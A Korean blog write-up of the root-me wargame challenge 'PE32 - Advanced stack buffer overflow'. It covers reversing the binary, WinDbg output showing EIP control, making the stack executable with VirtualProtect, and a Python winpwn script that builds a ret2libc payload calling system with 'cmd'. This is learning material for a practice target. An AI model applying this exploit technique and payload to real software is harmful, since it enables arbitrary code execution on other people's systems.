워게임/root-me

PE32 - Advanced stack buffer overflow

zz! 2025. 8. 19. 00:15
728x90

윈도우 이미지 파싱 프로그램쪽 바운티하기 전에 해보면 좋은 문제인것 같다.

먼저 원격 서버에 접속해서 PE파일의 동작을 확인하고, 소스코드가 제공이 되는지 확인을 한다.

소스코드를 볼 수 없으니까, PE파일을 로컬로 옮기고 IDA로 까서 진행해보면 된다.

소스코드

파일을 통해서 어떠한 동작들을 하는 것을 알 수 있다.

그냥 여기서 제일 먼저 봐야할 곳이 size 부분이다. ftell로 파일의 끝으로 이동해서 사이즈가 몇인지 검사한다. 문자가 몇개인지라고 생각했다. 그래서 ebp-2014h 이니까, 8212 + 4 + 4 넣고 하면 EIP가 제어가 될 것이다. 하지만 return 부분에서 fclose를 한다. 그리고 v11의 값도 41414141로 값이 덮이게 된다. 그래서 정상적으로 return 으로 돌아가지 않고, 문제가 발생한다. 

어차피 해당 문제는 ASLR이 미적용이라 그냥 그값넣으면 되겠다.

다시 정리를 해보자면, 버퍼의 시작 주소를 기준으로 v11에 거리가 8200 이다. 그만큼 덮고 file pointer의 주소를 넣고

ret까지 덮으면 아래의 사진처럼 EIP제어가 된다.

 

이제, 이걸 통해서 ssh에 있는 wraper.sh를 실행을 하면 된다.

stack pivoting은 할 필요없어보인다.

eip=41414141 esp=0065fe80 ebp=41414141 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
41414141 ??              ???
0:000> dd esp
0065fe80  41414141 41414141 41414141 41414141
0065fe90  41414141 41414141 41414141 41414141
0065fea0  00781608 0000001f 0065ff70 004013e3
0065feb0  00000002 00781670 00781948 77e1c2cb
0065fec0  00004720 1048da80 9e359bfc 00000000
0065fed0  cccccccc cccccccc cccccccc cccccccc
0065fee0  cccccccc cccccccc cccccccc cccccccc
0065fef0  00000100 00000002 00000001 0000000c

 

어떻게 해야할까

바운티였음 계산기 뛰우는데 여기서는 cmd 뛰우면 될것같다.

VirtualProtect 이용해서 권한 부여하고 쉘 코드 해서 해보자

!address 버퍼 했을 때 execute 권한이 있으면 됨

0:000> !address 0065de64

                                     
Mapping file section regions...
Mapping module regions...
Mapping PEB regions...
Mapping TEB and stack regions...
Mapping heap regions...
Mapping page heap regions...
Mapping other regions...
Mapping stack trace database regions...
Mapping activation context regions...

Usage:                  Stack
Base Address:           0065c000
End Address:            00660000
Region Size:            00004000 (  16.000 kB)
State:                  00001000          MEM_COMMIT
Protect:                00000004          PAGE_READWRITE
Type:                   00020000          MEM_PRIVATE
Allocation Base:        00460000
Allocation Protect:     00000004          PAGE_READWRITE
More info:              ~0k


Content source: 1 (target), length: 219c

 

그리고, 인자값 구성하고 정상적으로 하고 virtualprotect 함수를 호출하면 실행 권한이 생긴것을 알 수 있다.

0:000> !address 0065de64

                                     
Mapping file section regions...
Mapping module regions...
Mapping PEB regions...
Mapping TEB and stack regions...
Mapping heap regions...
Mapping page heap regions...
Mapping other regions...
Mapping stack trace database regions...
Mapping activation context regions...

Usage:                  Stack
Base Address:           0065d000
End Address:            0065e000
Region Size:            00001000 (   4.000 kB)
State:                  00001000          MEM_COMMIT
Protect:                00000040          PAGE_EXECUTE_READWRITE
Type:                   00020000          MEM_PRIVATE
Allocation Base:        00460000
Allocation Protect:     00000004          PAGE_READWRITE
More info:              ~0k


Content source: 1 (target), length: 19c

이제 쉘코드 넣으면 끝날것같다.

 위에 방법대로 할려고 했다만, 쉘코드 공부 안해서 직접 짜야할 것 같아서 다른 방식으로 했다. 

return to libc 처럼 했다. (아래의 사이트를 참고하면서 익스를 작성했다.)

https://ret2ver.github.io/2021/10/01/PE32-Advanced-stack-buffer-overflow/

로컬 익스플로잇

from winpwn import *

system = 0x75f23d30
cmd = 0x75ee47a4
ret = 0x42424242
fp = 0x75F94960

payload = 'A' * 8200
payload += p32(fp)
payload += 'B' * 12
payload += p32(system)
payload += p32(ret)
payload += p32(cmd)
payload = [ord(i) for i in payload]

with open('test.txt', 'wb') as f:
    f.write(bytes(payload))

원격서버에 어떻게 test.txt 파일을 옮겨서 해야할지 잘 모르겠다.

728x90